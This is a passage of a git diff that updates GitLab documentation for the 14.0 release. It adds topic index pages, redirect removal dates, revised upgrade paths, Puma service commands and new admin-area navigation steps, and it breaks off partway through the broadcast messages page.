@@ -0,0 +1,28 @@ +--- +stage: +group: +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Plan and track work **(FREE)** + +Plan your work by creating requirements, issues, and epics. Schedule work +with milestones and track your team's time. Learn how to save time with +quick actions, see how GitLab renders Markdown text, and learn how to +use Git to interact with GitLab. + +- [Epics](../user/group/epics/index.md) +- [Issues](../user/project/issues/index.md) +- [Labels](../user/project/labels.md) +- [Discussions](../user/discussions/index.md) +- [Iterations](../user/group/iterations/index.md) +- [Milestones](../user/project/milestones/index.md) +- [Requirements](../user/project/requirements/index.md) +- [Roadmaps](../user/group/roadmap/index.md) +- [Time tracking](../user/project/time_tracking.md) +- [Wikis](../user/project/wiki/index.md) +- [Keyboard shortcuts](../user/shortcuts.md) +- [Quick actions](../user/project/quick_actions.md) +- [Markdown](../user/markdown.md) +- [To-Do lists](../user/todos.md) +- [Using Git](../topics/git/index.md) diff --git a/doc/topics/release_your_application.md b/doc/topics/release_your_application.md new file mode 100644 index 00000000000..31eb7705760 --- /dev/null +++ b/doc/topics/release_your_application.md @@ -0,0 +1,13 @@ +--- +stage: +group: +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Release your application **(FREE)** + +Release your application internally or to the public. Use +flags to release features incrementally. + +- [Releases](../user/project/releases/index.md) +- [Feature flags](../operations/feature_flags.md) diff --git a/doc/topics/set_up_organization.md b/doc/topics/set_up_organization.md new file mode 100644 index 00000000000..d8b1ab59b9e --- /dev/null +++ b/doc/topics/set_up_organization.md @@ -0,0 +1,16 @@ +--- +stage: +group: +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Set up your organization **(FREE)** + +Configure your organization and its users. Determine user roles +and give everyone access to the projects they need. + +- [Members](../user/project/members/index.md) +- [Groups](../user/group/index.md) +- [User account options](../user/profile/index.md) +- [SSH keys](../ssh/README.md) +- [GitLab.com settings](../user/gitlab_com/index.md) diff --git a/doc/topics/use_gitlab.md b/doc/topics/use_gitlab.md new file mode 100644 index 00000000000..f45dc91131c --- /dev/null +++ b/doc/topics/use_gitlab.md @@ -0,0 +1,19 @@ +--- +stage: +group: +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Use GitLab **(FREE)** + +Get to know the GitLab end-to-end workflow. Configure permissions, +organize your work, create and secure your application, and analyze its performance. Report on team productivity throughout the process. + +- [Set up your organization](set_up_organization.md) +- [Organize work with projects](../user/project/index.md) +- [Plan and track work](plan_and_track.md) +- [Build your application](build_your_application.md) +- [Secure your application](../user/application_security/index.md) +- [Release your application](release_your_application.md) +- [Monitor application performance](../operations/index.md) +- [Analyze GitLab usage](../user/analytics/index.md) diff --git a/doc/university/README.md b/doc/university/README.md index bf2e7c91918..573daab2333 100644 --- a/doc/university/README.md +++ b/doc/university/README.md @@ -1,5 +1,6 @@ --- redirect_to: '../topics/index.md' +remove_date: '2021-05-11' --- This document was moved to [another location](../topics/index.md). diff --git a/doc/university/index.md b/doc/university/index.md index 60d012485de..559f836a2a2 100644 --- a/doc/university/index.md +++ b/doc/university/index.md @@ -1,5 +1,6 @@ --- redirect_to: '../topics/index.md' +remove_date: '2021-08-13' --- This document was removed. See our [topics](../topics/index.md) for similar content. diff --git a/doc/university/training/gitlab_flow.md b/doc/university/training/gitlab_flow.md index bdc97ff8d28..d38e39fcfe2 100644 --- a/doc/university/training/gitlab_flow.md +++ b/doc/university/training/gitlab_flow.md @@ -1,5 +1,6 @@ --- redirect_to: '../../topics/gitlab_flow.md' +remove_date: '2021-05-16' --- This document was moved to [another location](../../topics/gitlab_flow.md). diff --git a/doc/university/training/index.md b/doc/university/training/index.md index 02709314708..6d99c750d13 100644 --- a/doc/university/training/index.md +++ b/doc/university/training/index.md @@ -1,5 +1,6 @@ --- redirect_to: '../../topics/index.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../topics/index.md). diff --git a/doc/university/training/topics/agile_git.md b/doc/university/training/topics/agile_git.md index f912f92fad2..00ff778a241 100644 --- a/doc/university/training/topics/agile_git.md +++ b/doc/university/training/topics/agile_git.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../user/project/issue_board.md' +remove_date: '2021-07-23' --- Information about using Agile concepts in GitLab can be found in [another location](../../../user/project/issue_board.md). diff --git a/doc/university/training/topics/bisect.md b/doc/university/training/topics/bisect.md index 9c06f0b407d..64291a8194b 100644 --- a/doc/university/training/topics/bisect.md +++ b/doc/university/training/topics/bisect.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/bisect.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../topics/git/bisect.md). diff --git a/doc/university/training/topics/cherry_picking.md b/doc/university/training/topics/cherry_picking.md index f0f815baa94..3e278b2c199 100644 --- a/doc/university/training/topics/cherry_picking.md +++ b/doc/university/training/topics/cherry_picking.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/cherry_picking.md' +remove_date: '2021-06-01' --- This document was moved to [another location](../../../topics/git/cherry_picking.md). diff --git a/doc/university/training/topics/env_setup.md b/doc/university/training/topics/env_setup.md index 2fd0a6762e2..4df0556c151 100644 --- a/doc/university/training/topics/env_setup.md +++ b/doc/university/training/topics/env_setup.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/index.md' +remove_date: '2021-08-13' --- This document was removed. See our [topics](../../../topics/index.md) for similar content. diff --git a/doc/university/training/topics/feature_branching.md b/doc/university/training/topics/feature_branching.md index 495462cdd00..94a2d0cdc69 100644 --- a/doc/university/training/topics/feature_branching.md +++ b/doc/university/training/topics/feature_branching.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/feature_branching.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../topics/git/feature_branching.md). diff --git a/doc/university/training/topics/getting_started.md b/doc/university/training/topics/getting_started.md index 3dc3902c2e3..3e6fab73596 100644 --- a/doc/university/training/topics/getting_started.md +++ b/doc/university/training/topics/getting_started.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/getting_started.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../topics/git/getting_started.md). diff --git a/doc/university/training/topics/git_add.md b/doc/university/training/topics/git_add.md index aa5e756995f..d7a5ce8dd6a 100644 --- a/doc/university/training/topics/git_add.md +++ b/doc/university/training/topics/git_add.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/git_add.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../topics/git/git_add.md). diff --git a/doc/university/training/topics/git_intro.md b/doc/university/training/topics/git_intro.md index 2fd0a6762e2..4df0556c151 100644 --- a/doc/university/training/topics/git_intro.md +++ b/doc/university/training/topics/git_intro.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/index.md' +remove_date: '2021-08-13' --- This document was removed. See our [topics](../../../topics/index.md) for similar content. diff --git a/doc/university/training/topics/git_log.md b/doc/university/training/topics/git_log.md index 1af8abb0782..26f02cb8b17 100644 --- a/doc/university/training/topics/git_log.md +++ b/doc/university/training/topics/git_log.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/git_log.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../topics/git/git_log.md). diff --git a/doc/university/training/topics/merge_conflicts.md b/doc/university/training/topics/merge_conflicts.md index d76d297803f..f4f12a17dbd 100644 --- a/doc/university/training/topics/merge_conflicts.md +++ b/doc/university/training/topics/merge_conflicts.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/merge_conflicts.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../topics/git/merge_conflicts.md). diff --git a/doc/university/training/topics/merge_requests.md b/doc/university/training/topics/merge_requests.md index 80ead103fdd..1ed6fe6d273 100644 --- a/doc/university/training/topics/merge_requests.md +++ b/doc/university/training/topics/merge_requests.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../user/project/merge_requests/index.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../user/project/merge_requests/index.md). diff --git a/doc/university/training/topics/rollback_commits.md b/doc/university/training/topics/rollback_commits.md index b87aa12b834..38d4ac493dd 100644 --- a/doc/university/training/topics/rollback_commits.md +++ b/doc/university/training/topics/rollback_commits.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/rollback_commits.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../topics/git/rollback_commits.md). diff --git a/doc/university/training/topics/stash.md b/doc/university/training/topics/stash.md index ea9ba6a7bcc..b053c459cb0 100644 --- a/doc/university/training/topics/stash.md +++ b/doc/university/training/topics/stash.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/stash.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../topics/git/stash.md). diff --git a/doc/university/training/topics/subtree.md b/doc/university/training/topics/subtree.md index 5090ff8ca36..a1c1c00baaa 100644 --- a/doc/university/training/topics/subtree.md +++ b/doc/university/training/topics/subtree.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/subtree.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../topics/git/subtree.md). diff --git a/doc/university/training/topics/tags.md b/doc/university/training/topics/tags.md index 28fd8400d99..53250e3540a 100644 --- a/doc/university/training/topics/tags.md +++ b/doc/university/training/topics/tags.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/tags.md' +remove_date: '2021-06-01' --- This document was moved to [another location](../../../topics/git/tags.md). diff --git a/doc/university/training/topics/unstage.md b/doc/university/training/topics/unstage.md index 13c21f5cbb2..c64f5be96e7 100644 --- a/doc/university/training/topics/unstage.md +++ b/doc/university/training/topics/unstage.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../topics/git/unstage.md' +remove_date: '2021-08-13' --- This document was moved to [another location](../../../topics/git/unstage.md). diff --git a/doc/university/training/user_training.md b/doc/university/training/user_training.md index fa870b151b2..a19f9b6b6b3 100644 --- a/doc/university/training/user_training.md +++ b/doc/university/training/user_training.md @@ -1,5 +1,6 @@ --- redirect_to: '../../topics/index.md' +remove_date: '2021-08-13' --- This document was removed. See our [topics](../../topics/index.md) for similar content. diff --git a/doc/update/README.md b/doc/update/README.md index c815842480c..488d86f129d 100644 --- a/doc/update/README.md +++ b/doc/update/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-11' --- This document was moved to [another location](index.md). diff --git a/doc/update/index.md b/doc/update/index.md index 4c4dfe79d03..2ac22631289 100644 --- a/doc/update/index.md +++ b/doc/update/index.md @@ -53,7 +53,7 @@ have since switched to using a single document. The old upgrading guidelines can still be found in the Git repository: - [Old upgrading guidelines for Community Edition](https://gitlab.com/gitlab-org/gitlab-foss/tree/11-8-stable/doc/update) -- [Old upgrading guidelines for Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/tree/11-8-stable-ee/doc/update) +- [Old upgrading guidelines for Enterprise Edition](https://gitlab.com/gitlab-org/gitlab/-/tree/11-8-stable-ee/doc/update) ### Installation using Docker @@ -194,7 +194,7 @@ Find where your version sits in the upgrade path below, and upgrade GitLab accordingly, while also consulting the [version-specific upgrade instructions](#version-specific-upgrading-instructions): -`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> [latest `13.Y.Z`](https://about.gitlab.com/releases/categories/releases/) +`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> [latest `13.12.Z`](https://about.gitlab.com/releases/categories/releases/) -> [latest `14.0.Z`](https://about.gitlab.com/releases/categories/releases/) The following table, while not exhaustive, shows some examples of the supported upgrade paths. @@ -342,10 +342,10 @@ possible. ## Version-specific upgrading instructions -Each month, a major or minor release of GitLab is published along with a +Each month, major, minor or patch releases of GitLab are published along with a [release post](https://about.gitlab.com/releases/categories/releases/). -You should check all the major and minor versions you're passing over. -At the end of those release posts, there are three sections to look for: +You should read the release posts for all versions you're passing over. +At the end of major and minor release posts, there are three sections to look for specifically: - Deprecations - Removals @@ -369,6 +369,16 @@ NOTE: Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/) and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches. +### 14.0.0 + +In GitLab 13.3 some [pipeline processing methods were deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/218536) +and this code was completely removed in GitLab 14.0. If you plan to upgrade from +**GitLab 13.2 or older** directly to 14.0, you should not have any pipelines running +when you upgrade. The pipelines might report the wrong status when the upgrade completes. +You should shut down GitLab and wait for all pipelines on runners to complete, then upgrade +GitLab to 14.0. Alternatively, you can first upgrade GitLab to a version between 13.3 and +13.12, then upgrade to 14.0. + ### 13.11.0 Git 2.31.x and later is required. We recommend you use the diff --git a/doc/update/mysql_to_postgresql.md b/doc/update/mysql_to_postgresql.md index cbe2381e8db..92337f279d6 100644 --- a/doc/update/mysql_to_postgresql.md +++ b/doc/update/mysql_to_postgresql.md @@ -91,10 +91,10 @@ need to enable the bundled PostgreSQL: 1. [Reconfigure GitLab](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. -1. Start Unicorn and PostgreSQL so that we can prepare the schema: +1. Start Puma and PostgreSQL so that we can prepare the schema: ```shell - sudo gitlab-ctl start unicorn + sudo gitlab-ctl start puma sudo gitlab-ctl start postgresql ``` @@ -104,10 +104,10 @@ need to enable the bundled PostgreSQL: sudo gitlab-rake db:create db:migrate ``` -1. Stop Unicorn to prevent other database access from interfering with the loading of data: +1. Stop Puma to prevent other database access from interfering with the loading of data: ```shell - sudo gitlab-ctl stop unicorn + sudo gitlab-ctl stop puma ``` After these steps, you have a fresh PostgreSQL database with up-to-date schema. diff --git a/doc/update/patch_versions.md b/doc/update/patch_versions.md index ce0ba46b518..e50bc1610ab 100644 --- a/doc/update/patch_versions.md +++ b/doc/update/patch_versions.md @@ -9,7 +9,7 @@ comments: false ## Select Version to Install -Make sure you view [this update guide](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/update/patch_versions.md) from the tag (version) of GitLab you would like to install. +Make sure you view [this update guide](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/update/patch_versions.md) from the tag (version) of GitLab you would like to install. In most cases this should be the highest numbered production tag (without `rc` in it). You can select the tag in the version dropdown in the top left corner of GitLab (below the menu bar). diff --git a/doc/update/upgrading_from_ce_to_ee.md b/doc/update/upgrading_from_ce_to_ee.md index 50d169917ba..93c9432f6d3 100644 --- a/doc/update/upgrading_from_ce_to_ee.md +++ b/doc/update/upgrading_from_ce_to_ee.md @@ -11,7 +11,7 @@ NOTE: In the past we used separate documents for upgrading from Community Edition to Enterprise Edition. These documents can be found in the [`doc/update` directory of Enterprise Edition's source -code](https://gitlab.com/gitlab-org/gitlab/tree/11-8-stable-ee/doc/update). +code](https://gitlab.com/gitlab-org/gitlab/-/tree/11-8-stable-ee/doc/update). If you want to upgrade the version only, for example 11.8 to 11.9, *without* changing the GitLab edition you are using (Community or Enterprise), see the diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md index 93d2c2cb288..39e25fc11e7 100644 --- a/doc/update/upgrading_from_source.md +++ b/doc/update/upgrading_from_source.md @@ -82,7 +82,7 @@ sudo make install ### 4. Update Node.js -To check the minimum required Node.js version, see [Node.js versions](../install/requirements.md#nodejs-versions). +To check the minimum required Node.js version, see [Node.js versions](../install/installation.md#software-requirements). GitLab also requires the use of Yarn `>= v1.10.0` to manage JavaScript dependencies. @@ -99,7 +99,7 @@ More information can be found on the [Yarn website](https://classic.yarnpkg.com/ ### 5. Update Go -To check the minimum required Go version, see [Go versions](../install/requirements.md#go-versions). +To check the minimum required Go version, see [Go versions](../install/installation.md#software-requirements). You can check which version you are running with `go version`. @@ -119,12 +119,8 @@ rm go1.13.5.linux-amd64.tar.gz ### 6. Update Git -WARNING: -From GitLab 13.1, you must use at least Git v2.24 (previous minimum version was v2.22). -Git v2.28 is recommended. - To check you are running the minimum required Git version, see -[Git versions](../install/requirements.md#git-versions). +[Git versions](../install/installation.md#software-requirements). From GitLab 13.6, we recommend you use the [Git version provided by Gitaly](https://gitlab.com/gitlab-org/gitaly/-/issues/2729) @@ -153,7 +149,7 @@ Remember to set `git -> bin_path` to `/usr/local/bin/git` in `config/gitlab.yml` ### 7. Update PostgreSQL WARNING: -From GitLab 13.0, you must use at least PostgreSQL 11. +From GitLab 14.0, you must use at least PostgreSQL 12. The latest version of GitLab might depend on a more recent PostgreSQL version than what you're currently running. You may also need to enable some @@ -193,7 +189,7 @@ sudo -u git -H git checkout BRANCH-ee #### New configuration options for `gitlab.yml` -There might be configuration options available for [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example)). +There might be configuration options available for [`gitlab.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example)). View them with the command below and apply them manually to your current `gitlab.yml`: ```shell @@ -223,7 +219,7 @@ longer handles setting it. If you are using Apache instead of NGINX see the updated [Apache templates](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/web-server/apache). Also note that because Apache does not support upstreams behind Unix sockets you must let GitLab Workhorse listen on a TCP port. You can do this -via [`/etc/default/gitlab`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/support/init.d/gitlab.default.example#L38). +via [`/etc/default/gitlab`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/support/init.d/gitlab.default.example#L38). #### SMTP configuration @@ -234,12 +230,12 @@ add the following line to `config/initializers/smtp_settings.rb`: ActionMailer::Base.delivery_method = :smtp ``` -See [`smtp_settings.rb.sample`](https://gitlab.com/gitlab-org/gitlab/blob/master/config/initializers/smtp_settings.rb.sample#L13) as an example. +See [`smtp_settings.rb.sample`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/initializers/smtp_settings.rb.sample#L13) as an example. #### Init script There might be new configuration options available for -[`gitlab.default.example`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/support/init.d/gitlab.default.example). +[`gitlab.default.example`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/support/init.d/gitlab.default.example). View them with the command below and apply them manually to your current `/etc/default/gitlab`: ```shell diff --git a/doc/update/upgrading_postgresql_using_slony.md b/doc/update/upgrading_postgresql_using_slony.md index 2cddaa5da8b..3e977749207 100644 --- a/doc/update/upgrading_postgresql_using_slony.md +++ b/doc/update/upgrading_postgresql_using_slony.md @@ -371,7 +371,7 @@ First, let's stop all of GitLab. Omnibus users can do so by running the following on their GitLab servers: ```shell -sudo gitlab-ctl stop unicorn +sudo gitlab-ctl stop puma sudo gitlab-ctl stop sidekiq sudo gitlab-ctl stop mailroom ``` diff --git a/doc/user/abuse_reports.md b/doc/user/abuse_reports.md index 66b7c3c6ac7..c84c3541366 100644 --- a/doc/user/abuse_reports.md +++ b/doc/user/abuse_reports.md @@ -1,5 +1,6 @@ --- redirect_to: 'report_abuse.md' +remove_date: '2021-07-21' --- This file was moved to [another location](report_abuse.md). diff --git a/doc/user/admin_area/abuse_reports.md b/doc/user/admin_area/abuse_reports.md index 5424d4d2cb4..4bfa277fc9f 100644 --- a/doc/user/admin_area/abuse_reports.md +++ b/doc/user/admin_area/abuse_reports.md @@ -1,5 +1,6 @@ --- redirect_to: 'review_abuse_reports.md' +remove_date: '2021-07-21' --- This file was moved to [another location](review_abuse_reports.md). diff --git a/doc/user/admin_area/activating_deactivating_users.md b/doc/user/admin_area/activating_deactivating_users.md index cafc7caf981..e89c42b34ba 100644 --- a/doc/user/admin_area/activating_deactivating_users.md +++ b/doc/user/admin_area/activating_deactivating_users.md @@ -1,5 +1,6 @@ --- redirect_to: 'moderate_users.md' +remove_date: '2021-08-12' --- This document was moved to [another location](moderate_users.md). diff --git a/doc/user/admin_area/analytics/dev_ops_report.md b/doc/user/admin_area/analytics/dev_ops_report.md index b13faf2bb3e..6ca5e5034bf 100644 --- a/doc/user/admin_area/analytics/dev_ops_report.md +++ b/doc/user/admin_area/analytics/dev_ops_report.md @@ -1,21 +1,23 @@ --- -stage: none -group: unassigned +stage: Manage +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# DevOps Report +# DevOps Report **(FREE SELF)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30469) in GitLab 9.3. -> - [Renamed from Conversational Development Index](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) in GitLab 12.6. +> [Renamed from Conversational Development Index](https://gitlab.com/gitlab-org/gitlab/-/issues/20976) in GitLab 12.6. The DevOps Report gives you an overview of your entire instance's adoption of [Concurrent DevOps](https://about.gitlab.com/topics/concurrent-devops/) from planning to monitoring. -To see DevOps Report, go to **Admin Area > Analytics > DevOps Report**. +To see DevOps Report: -## DevOps Score **(FREE)** +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Analytics > DevOps Report**. + +## DevOps Score NOTE: Your GitLab instance's [usage ping](../settings/usage_statistics.md#usage-ping) must be activated in order to use this feature. @@ -34,21 +36,30 @@ Usage ping data is aggregated on GitLab servers for analysis. Your usage information is **not sent** to any other GitLab instances. If you have just started using GitLab, it may take a few weeks for data to be collected before this feature is available. -## DevOps Adoption **(ULTIMATE)** +## DevOps Adoption **(ULTIMATE SELF)** -[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247112) in GitLab 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta). +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247112) in GitLab 13.7 as a [Beta feature](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta) +> - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59267) in GitLab 14.0. +> - Enabled on GitLab.com. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-or-enable-devops-adoption). **(ULTIMATE SELF)** The DevOps Adoption tab shows you which groups within your organization are using the most essential features of GitLab: -- Issues -- Merge Requests -- Approvals -- Runners -- Pipelines -- Deploys -- Scanning - -Buttons to manage your groups appear in the DevOps Adoption section of the page. +- Dev + - Issues + - Merge Requests + - Approvals + - Code owners +- Sec + - Scans +- Ops + - Runners + - Pipelines + - Deployments + +When managing groups in the UI, you can add your groups with the **Add group to table** +button, in the top right hand section the page. DevOps Adoption allows you to: @@ -56,20 +67,22 @@ DevOps Adoption allows you to: - Identify specific groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey. - Find the groups that have adopted certain features and can provide guidance to other groups on how to use those features. + + ### Disable or enable DevOps Adoption -DevOps Adoption is deployed behind a feature flag that is **disabled by default**. +DevOps Adoption is deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to enable it. +can opt to disable it. -To enable it: +To disable it: ```ruby -Feature.enable(:devops_adoption_feature) +Feature.disable(:devops_adoption_feature) ``` -To disable it: +To reenable it: ```ruby -Feature.disable(:devops_adoption_feature) +Feature.enable(:devops_adoption_feature) ``` diff --git a/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.png b/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.png Binary files differnew file mode 100644 index 00000000000..f4170b2938c --- /dev/null +++ b/doc/user/admin_area/analytics/img/admin_devops_adoption_v14_0.png diff --git a/doc/user/admin_area/analytics/img/instance_activity_pipelines_chart_v13_6_a.png b/doc/user/admin_area/analytics/img/instance_activity_pipelines_chart_v13_6_a.png Binary files differindex 210c5c2609a..bd02065556c 100644 --- a/doc/user/admin_area/analytics/img/instance_activity_pipelines_chart_v13_6_a.png +++ b/doc/user/admin_area/analytics/img/instance_activity_pipelines_chart_v13_6_a.png diff --git a/doc/user/admin_area/analytics/index.md b/doc/user/admin_area/analytics/index.md index bea22745e7b..465b26d516c 100644 --- a/doc/user/admin_area/analytics/index.md +++ b/doc/user/admin_area/analytics/index.md @@ -1,16 +1,19 @@ --- -stage: none -group: unassigned +stage: Manage +group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Instance-level analytics +# Instance-level analytics **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41416) in GitLab 11.2. -Administrators have access to instance-wide analytics, as shown in **Admin Area > Analytics**. +Administrators have access to instance-wide analytics: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Analytics**. There are several kinds of statistics: -- [DevOps Report](dev_ops_report.md): Provides an overview of your entire instance's feature usage. **(FREE)** -- [Usage Trends](usage_trends.md): Shows how much data your instance contains, and how that is changing. **(FREE)** +- [DevOps Report](dev_ops_report.md): Provides an overview of your entire instance's feature usage. +- [Usage Trends](usage_trends.md): Shows how much data your instance contains, and how that is changing. diff --git a/doc/user/admin_area/analytics/usage_trends.md b/doc/user/admin_area/analytics/usage_trends.md index 7fb23f702a4..49c81b1a965 100644 --- a/doc/user/admin_area/analytics/usage_trends.md +++ b/doc/user/admin_area/analytics/usage_trends.md @@ -4,7 +4,7 @@ group: Optimize info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Usage Trends **(FREE)** +# Usage Trends **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/235754) in GitLab 13.5 behind a feature flag, disabled by default. > - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46962) in GitLab 13.6. diff --git a/doc/user/admin_area/analytics/user_cohorts.md b/doc/user/admin_area/analytics/user_cohorts.md index ca5dff85757..b906f9b8fa6 100644 --- a/doc/user/admin_area/analytics/user_cohorts.md +++ b/doc/user/admin_area/analytics/user_cohorts.md @@ -1,5 +1,6 @@ --- redirect_to: '../user_cohorts.md' +remove_date: '2021-06-01' --- This document was moved to [another location](../user_cohorts.md). diff --git a/doc/user/admin_area/appearance.md b/doc/user/admin_area/appearance.md index 0d72f09dfd9..d7f0b7e3854 100644 --- a/doc/user/admin_area/appearance.md +++ b/doc/user/admin_area/appearance.md @@ -9,8 +9,10 @@ disqus_identifier: 'https://docs.gitlab.com/ee/customization/branded_login_page. # GitLab Appearance **(FREE SELF)** There are several options for customizing the appearance of a self-managed instance -of GitLab. These settings are accessed from the **Admin Area** in the **Appearance** -section. +of GitLab. To access these settings: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Settings > Appearance**. ## Navigation bar diff --git a/doc/user/admin_area/approving_users.md b/doc/user/admin_area/approving_users.md index 2b3b90cb1a4..3d9722035d5 100644 --- a/doc/user/admin_area/approving_users.md +++ b/doc/user/admin_area/approving_users.md @@ -34,7 +34,8 @@ sign in. To view user sign ups pending approval: -1. Go to **Admin Area > Overview > Users**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. 1. Select the **Pending approval** tab. ## Approve or reject a user sign up @@ -43,9 +44,10 @@ A user sign up pending approval can be approved or rejected from the Admin Area. To approve or reject a user sign up: -1. Go to **Admin Area > Overview > Users**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. 1. Select the **Pending approval** tab. -1. In the user's row select settings (**{settings}**). +1. In the user's row, select settings (**{settings}**). 1. Select **Approve** or **Reject**. Approving a user: diff --git a/doc/user/admin_area/blocking_unblocking_users.md b/doc/user/admin_area/blocking_unblocking_users.md index cafc7caf981..e89c42b34ba 100644 --- a/doc/user/admin_area/blocking_unblocking_users.md +++ b/doc/user/admin_area/blocking_unblocking_users.md @@ -1,5 +1,6 @@ --- redirect_to: 'moderate_users.md' +remove_date: '2021-08-12' --- This document was moved to [another location](moderate_users.md). diff --git a/doc/user/admin_area/broadcast_messages.md b/doc/user/admin_area/broadcast_messages.md index 67a89f896ff..93e6aa9bb16 100644 --- a/doc/user/admin_area/broadcast_messages.md +++ b/doc/user/admin_area/broadcast_messages.md @@ -5,21 +5,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Broadcast Messages **(FREE SELF)** +# Broadcast messages **(FREE SELF)** GitLab can display broadcast messages to all users of a GitLab instance. There are two types of broadcast messages: -- banners -- notifications +- Banners +- Notifications -You can style a message's content using the `a` and `br` HTML tags. The `br` tag inserts a line break. The `a` HTML tag accepts `class` and `style` attributes with the following CSS properties: - -- `color` -- `border` -- `background` -- `padding` -- `margin` -- `text-decoration` +Broadcast messages can be managed using the [broadcast messages API](../../api/broadcast_messages.md). ## Banners @@ -36,6 +29,8 @@ remote: ... ``` +If more than one banner is active at one time, they are displayed in a stack in order of creation. + ## Notifications Notifications are shown on the bottom right of a page and can contain placeholders. A placeholder is replaced with an attribute of the active user. Placeholders must be surrounded by curly braces, for example `{{name}}`. @@ -51,65 +46,63 @@ If the user is not signed in, user related values are empty.  -Broadcast messages can be managed using the [broadcast messages API](../../api/broadcast_messages.md). - -NOTE: -If more than one banner message is active at one time, they are displayed in a stack in order of creation. -If more than one notification message is active at one time, only the newest is shown. +If more than one notification is active at one time, only the newest is shown. -## Adding a broadcast message +## Add a broadcast message -To display messages to users on 